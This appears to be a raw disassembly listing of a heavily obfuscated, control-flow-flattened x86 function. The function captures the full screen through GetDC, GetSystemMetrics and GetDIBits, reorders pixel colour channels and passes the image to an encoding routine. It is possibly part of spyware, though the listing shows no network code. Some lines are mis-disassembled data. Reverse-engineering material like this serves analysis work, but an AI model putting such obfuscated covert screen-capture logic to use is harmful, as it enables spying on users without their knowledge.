mov eax, dword [ebp - 0x10]
mov dword [eax], 0x62d492cc
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x902f9c8e
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x499905a5
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xfc1125b8
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf6e50c97
setl cl
mov dword [ebp - 0x280], ecx
mov ecx, dword [ebp - 0x284]
mov edx, dword [ebp - 0x280]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x3449271c
setl cl
mov dword [ebp - 0x320], ecx
mov ecx, dword [ebp - 0x324]
mov edx, dword [ebp - 0x320]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x902f9c8e
setl cl
mov dword [ebp - 0x210], ecx
mov ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x210]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xbff82fc5
sete cl
mov dword [ebp - 0x238], ecx
mov eax, dword [ebp - 0x23c]
mov ecx, dword [ebp - 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x62d492cc
setl cl
mov dword [ebp - 0x360], ecx
mov ecx, dword [ebp - 0x364]
mov edx, dword [ebp - 0x360]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x70fad227
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x62d492cc
sete cl
mov dword [ebp - 0x358], ecx
mov eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x358]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x8ac85ce0
sete cl
mov dword [ebp - 0x1b0], ecx
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x3e4], eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov dword [ebp - 0x1c], eax
sub esp, 4
mov dword [esp], 0x4c
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call esi
mov dword [ebp - 0x50], eax
sub esp, 4
mov dword [esp], 0x4d
call esi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 7
mov eax, dword [sym.imp.GDI32.dll_GetCurrentObject]
call eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbbaa9982
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x70fad227
setl cl
mov dword [ebp - 0x388], ecx
mov ecx, dword [ebp - 0x38c]
mov edx, dword [ebp - 0x388]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x2c]
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00422a50
add esp, 0xc
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x2ca80cb
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9f37d4ff
setl cl
mov dword [ebp - 0x200], ecx
mov ecx, dword [ebp - 0x204]
mov edx, dword [ebp - 0x200]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xbff82fc5
setl cl
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp - 0x244]
mov edx, dword [ebp - 0x240]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x35ff2c0d
sete cl
mov dword [ebp - 0x300], ecx
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xe3347e87
sete cl
mov dword [ebp - 0x270], ecx
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbbf642e4
setl cl
mov dword [ebp - 0x248], ecx
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ebp - 0x248]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xc1669ac4
sete cl
mov dword [ebp - 0x250], ecx
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x23]
test al, al
mov eax, 0x5e85b0bf
jne 0x4230a9
mov eax, 0x9828bd89
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x118]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9392d6fe
setl cl
mov dword [esp + 0x174], ecx
mov ecx, dword [esp + 0x178]
mov edx, dword [esp + 0x174]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xe4d2df4d
sete cl
mov dword [esp + 0x214], ecx
mov eax, dword [esp + 0x218]
mov ecx, dword [esp + 0x214]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x70d6a025
sete cl
mov dword [esp + 0x2cc], ecx
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2cc]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x76094a62
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x80]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x1ae04b72
sete cl
mov dword [esp + 0x26c], ecx
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x26c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x70d6a025
setl cl
mov dword [esp + 0x2d4], ecx
mov ecx, dword [esp + 0x2d8]
mov edx, dword [esp + 0x2d4]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x54879cd0
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x90]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc2d52ae8
setl cl
mov dword [esp + 0x1ec], ecx
mov ecx, dword [esp + 0x1f0]
mov edx, dword [esp + 0x1ec]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x348]
mov ecx, dword [esp + 0x30]
lea eax, [eax + ecx*4]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x58]
mov eax, dword [eax]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
and eax, 0xff00ff00
mov dword [esp + 0x344], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x33a9d16e
mov eax, dword [esp + 0xdc]
mov ecx, dword [esp + 0xe0]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x22]
and al, 1
movzx eax, al
add esp, 0x3a0
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
sub eax, 0x5b7f3eaf
sete cl
mov dword [esp + 0x2b4], ecx
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2b4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa7937d17
sete cl
mov dword [esp + 0x1a4], ecx
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x1a4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xdce694ca
setl cl
mov dword [esp + 0x20c], ecx
mov ecx, dword [esp + 0x210]
mov edx, dword [esp + 0x20c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9dafd074
sete cl
mov dword [esp + 0x18c], ecx
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x18c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x72b27b8d
setl cl
mov dword [esp + 0x31c], ecx
mov ecx, dword [esp + 0x320]
mov edx, dword [esp + 0x31c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x191c43ef
sete cl
mov dword [esp + 0x254], ecx
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x254]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x34]
imul ecx, edx
imul eax, ecx
mov ecx, dword [esp + 0x24]
add ecx, eax
mov dword [esp + 0x348], ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xc2d52ae8
mov eax, dword [esp + 0xfc]
mov ecx, dword [esp + 0x100]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xb44333a2
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0xa0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x76094a62
setl cl
mov dword [esp + 0x30c], ecx
mov ecx, dword [esp + 0x310]
mov edx, dword [esp + 0x30c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x158]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x153fee2a
setl cl
mov dword [esp + 0x264], ecx
mov ecx, dword [esp + 0x268]
mov edx, dword [esp + 0x264]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x334]
mov edx, dword [esp + 0x338]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [0x69f18010], eax
leave
push es
daa
mov eax, dword [esp + 0x44]
mov dword [esi], eax
mov eax, dword [esp + 0x3c]
mov dword [ebx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x70d6a025
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x5e85b0bf
setl cl
mov dword [esp + 0x2dc], ecx
mov ecx, dword [esp + 0x2e0]
mov edx, dword [esp + 0x2dc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xa7937d17
setl cl
mov dword [esp + 0x1ac], ecx
mov ecx, dword [esp + 0x1b0]
mov edx, dword [esp + 0x1ac]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xc2d52ae8
sete cl
mov dword [esp + 0x1e4], ecx
mov eax, dword [esp + 0x1e8]
mov ecx, dword [esp + 0x1e4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x38]
mov ecx, eax
not ecx
or ecx, 0xff0000
lea eax, [eax + ecx + 1]
shr eax, 0x10
mov ecx, dword [esp + 0x344]
or ecx, eax
mov dword [esp + 0x340], ecx
movzx eax, byte [esp + 0x38]
shl eax, 0x10
mov dword [esp + 0x33c], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf7963ff7
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd8]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x20]
mov byte [esp + 0x22], al
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x3a9334d6
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xb44333a2
sete cl
mov dword [esp + 0x1dc], ecx
mov eax, dword [esp + 0x1e0]
mov ecx, dword [esp + 0x1dc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x54879cd0
setl cl
mov dword [esp + 0x324], ecx
mov ecx, dword [esp + 0x328]
mov edx, dword [esp + 0x324]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3a9334d6
sete cl
mov dword [esp + 0x28c], ecx
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x28c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x38e71a6b
sete cl
mov dword [esp + 0x284], ecx
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x284]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x76094a62
sete cl
mov dword [esp + 0x304], ecx
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x304]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x30]
sub ecx, eax
mov eax, 0x153fee2a
jl 0x423602
mov eax, 0x75eb498c
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf0]
mov eax, dword [ecx + eax*4]
jmp eax
push edi
dec eax
add byte [edx + 0x73aaa6e0], 0x8b
inc esp
and al, 0x1c
mov dword [eax], 0x8374d2b7
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.00408f70
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x9dafd074
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x98]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x9828bd89
sete cl
mov dword [esp + 0x184], ecx
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x184]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x34]
sub ecx, eax
setl byte [esp + 0x23]
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x1ae04b72
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x120]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x191c43ef
setl cl
mov dword [esp + 0x25c], ecx
mov ecx, dword [esp + 0x260]
mov edx, dword [esp + 0x25c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x9828bd89
setl cl
mov dword [esp + 0x1bc], ecx
mov ecx, dword [esp + 0x1c0]
mov edx, dword [esp + 0x1bc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x3a9334d6
setl cl
mov dword [esp + 0x294], ecx
mov ecx, dword [esp + 0x298]
mov edx, dword [esp + 0x294]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x8374d2b7
sete cl
mov dword [esp + 0x15c], ecx
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x15c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x34], eax
call fcn.004178d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x8374d2b7
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x128]
mov eax, dword [ecx + eax*4]
jmp eax
stosd dword es:[edi], eax
xor al, 0xe5
lodsd eax, dword [esi]
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.00408f70
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xb44333a2
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x60]
movzx eax, word [eax]
shr eax, 3
mov word [esp + 0x4a], ax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov dword [esp + 0x350], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x8bb8ca08
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 0x148]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x73441b97
sete cl
mov dword [esp + 0x2ec], ecx
mov eax, dword [esp + 0x2f0]
mov ecx, dword [esp + 0x2ec]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x34]
inc eax
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x191c43ef
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0xe8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x75eb498c
setl cl
mov dword [esp + 0x314], ecx
mov ecx, dword [esp + 0x318]
mov edx, dword [esp + 0x314]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf307140b
setl cl
mov dword [esp + 0x224], ecx
mov ecx, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
mov eax, dword [esp + 0x44]
mov dword [esi], eax
mov eax, dword [esp + 0x3c]
mov dword [ebx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x5b7f3eaf
mov eax, dword [esp + 0xbc]
mov ecx, dword [esp + 0xc0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xb3bc67b4
sete cl
mov dword [esp + 0x1c4], ecx
mov eax, dword [esp + 0x1c8]
mov ecx, dword [esp + 0x1c4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb3bc67b4
setl cl
mov dword [esp + 0x23c], ecx
mov ecx, dword [esp + 0x240]
mov edx, dword [esp + 0x23c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1ae04b72
setl cl
mov dword [esp + 0x2a4], ecx
mov ecx, dword [esp + 0x2a8]
mov edx, dword [esp + 0x2a4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x9dafd074
setl cl
mov dword [esp + 0x194], ecx
mov ecx, dword [esp + 0x198]
mov edx, dword [esp + 0x194]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x191c43ef
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x130]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xdce694ca
sete cl
mov dword [esp + 0x204], ecx
mov eax, dword [esp + 0x208]
mov ecx, dword [esp + 0x204]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x70d6a025
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x54879cd0
sete cl
mov dword [esp + 0x2ac], ecx
mov eax, dword [esp + 0x2b0]
mov ecx, dword [esp + 0x2ac]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb4171662
setl cl
mov dword [esp + 0x1d4], ecx
mov ecx, dword [esp + 0x1d8]
mov edx, dword [esp + 0x1d4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xa5d602fe
setl cl
mov dword [esp + 0x1b4], ecx
mov ecx, dword [esp + 0x1b8]
mov edx, dword [esp + 0x1b4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x5b7f3eaf
setl cl
mov dword [esp + 0x2bc], ecx
mov ecx, dword [esp + 0x2c0]
mov edx, dword [esp + 0x2bc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x8bb8ca08
setl cl
mov dword [esp + 0x17c], ecx
mov ecx, dword [esp + 0x180]
mov edx, dword [esp + 0x17c]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x76094a62
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x108]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xe4d2df4d
setl cl
mov dword [esp + 0x22c], ecx
mov ecx, dword [esp + 0x230]
mov edx, dword [esp + 0x22c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xf7963ff7
sete cl
mov dword [esp + 0x244], ecx
mov eax, dword [esp + 0x248]
mov ecx, dword [esp + 0x244]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xa5d602fe
mov dword [esp + 0x50], 0
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x72b27b8d
sete cl
mov dword [esp + 0x2e4], ecx
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa5d602fe
sete cl
mov dword [esp + 0x19c], ecx
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x19c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb44333a2
setl cl
mov dword [esp + 0x1f4], ecx
mov ecx, dword [esp + 0x1f8]
mov edx, dword [esp + 0x1f4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xd5fa7c0f
setl cl
mov dword [esp + 0x234], ecx
mov ecx, dword [esp + 0x238]
mov edx, dword [esp + 0x234]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf7963ff7
setl cl
mov dword [esp + 0x32c], ecx
mov ecx, dword [esp + 0x330]
mov edx, dword [esp + 0x32c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x354]
mov dword [eax], 0
mov dword [esp + 0x384], 0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x73441b97
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x150]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x75eb498c
sete cl
mov dword [esp + 0x2fc], ecx
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x33a9d16e
sete cl
mov dword [esp + 0x274], ecx
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x274]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x340]
mov ecx, dword [esp + 0x33c]
or eax, ecx
mov ecx, dword [esp + 0x58]
mov dword [ecx], eax
mov eax, dword [esp + 0x30]
inc eax
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0xa5d602fe
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xd0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x5e85b0bf
sete cl
mov dword [esp + 0x2c4], ecx
mov eax, dword [esp + 0x2c8]
mov ecx, dword [esp + 0x2c4]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, word [esp + 0x4a]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x34c]
mov ecx, dword [esp + 0x40]
imul eax, ecx
mov dword [esp], eax
call fcn.00408f60
mov dword [esp + 0x24], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x5c]
lea ebp, [esp + 0x360]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x3b4]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov eax, dword [sym.imp.GDI32.dll_GetDIBits]
call eax
sub esp, 0x1c
test eax, eax
mov eax, 0xa7937d17
jne 0x423d2d
mov eax, 0x38e71a6b
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x20], 0
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x138]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x8bb8ca08
sete cl
mov dword [esp + 0x164], ecx
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x164]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xd5fa7c0f
mov byte [esp + 0x21], 1
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf307140b
sete cl
mov dword [esp + 0x21c], ecx
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x21c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x38e71a6b
setl cl
mov dword [esp + 0x29c], ecx
mov ecx, dword [esp + 0x2a0]
mov edx, dword [esp + 0x29c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xb4171662
sete cl
mov dword [esp + 0x1cc], ecx
mov eax, dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1cc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xd5fa7c0f
sete cl
mov dword [esp + 0x1fc], ecx
mov eax, dword [esp + 0x200]
mov ecx, dword [esp + 0x1fc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9392d6fe
sete cl
mov dword [esp + 0x16c], ecx
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x16c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x73441b97
setl cl
mov dword [esp + 0x2f4], ecx
mov ecx, dword [esp + 0x2f8]
mov edx, dword [esp + 0x2f4]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x350]
imul ecx, eax
mov dword [esp + 0x34c], ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xb3bc67b4
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x140]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, esi
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x40]
mov ebp, dword [esp + 0x24]
lea esi, [esp + 0x44]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], ebp
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.004052b0
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
test eax, eax
mov eax, 0x72b27b8d
jne 0x423f03
mov eax, 0xd5fa7c0f
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x21], 0
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x110]
mov eax, dword [ecx + eax*4]
mov esi, edi
jmp eax
mov al, byte [esp + 0x21]
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x38e71a6b
